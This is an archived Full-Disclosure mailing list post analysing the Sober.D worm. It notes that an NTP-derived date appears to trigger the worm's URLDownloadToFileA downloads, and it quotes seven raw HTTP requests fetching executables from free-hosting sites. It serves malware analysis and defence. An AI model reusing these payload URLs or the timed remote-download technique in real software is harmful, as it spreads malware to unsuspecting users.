full-disclosure - Sober.D URLDownloadToFileA Function.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: EvgenyP at Radware.com (Evgeny Pinchuk)
Subject: Sober.D URLDownloadToFileA Function.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

These who disassembled Sober.D binary must have noticed the
URLDownloadToFileA function.
This function is triggered after some specific date I assume.
My assumption relies on NTP queries that Sober.D is sending.
After creating a NTP server which will give random time I noticed
that after specific reply Sober.D started to download files using
different URIs on 3 hosts.
The response (which triggered the URLDownloadToFileA function) that
my NTP server sent was |d5 93 4c 40| which is 5:40:05 PM 3/8/2004.

Here are some examples of HTTP requests that Sober.D made:
GET /myfirstpage/my.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: home.arcor.de
Connection: Keep-Alive

GET /losdanielos/los.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: home.arcor.de
Connection: Keep-Alive

GET /stefanie-on-web/stef.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: home.arcor.de
Connection: Keep-Alive

GET /myfreeweb/gh.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: people.freenet.de
Connection: Keep-Alive

GET /dannys-page/dann.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: people.freenet.de
Connection: Keep-Alive

GET /stefis_seite/test.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: scifi.pages.at
Connection: Keep-Alive

GET /claudine/de.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: scifi.pages.at
Connection: Keep-Alive

I tried to follow these URLs but the files just weren't there.
Now I'm not sure that there is a connection between NTP and HTTP
requests but the HTTP requests started to come 1 second after the
last NTP request.

I would like to hear your comments on this issue.

Good day,
Evgeny.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQE3LeD0z9OkavlhjEQIBtwCg0n5aUcLLVyKPUrkZvZOLB3x4Vi8AoPww
JBKWA9Ufa8tEgx8ZKTDYw7Ri
=T67H
-----END PGP SIGNATURE-----
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040309/899379e7/attachment.html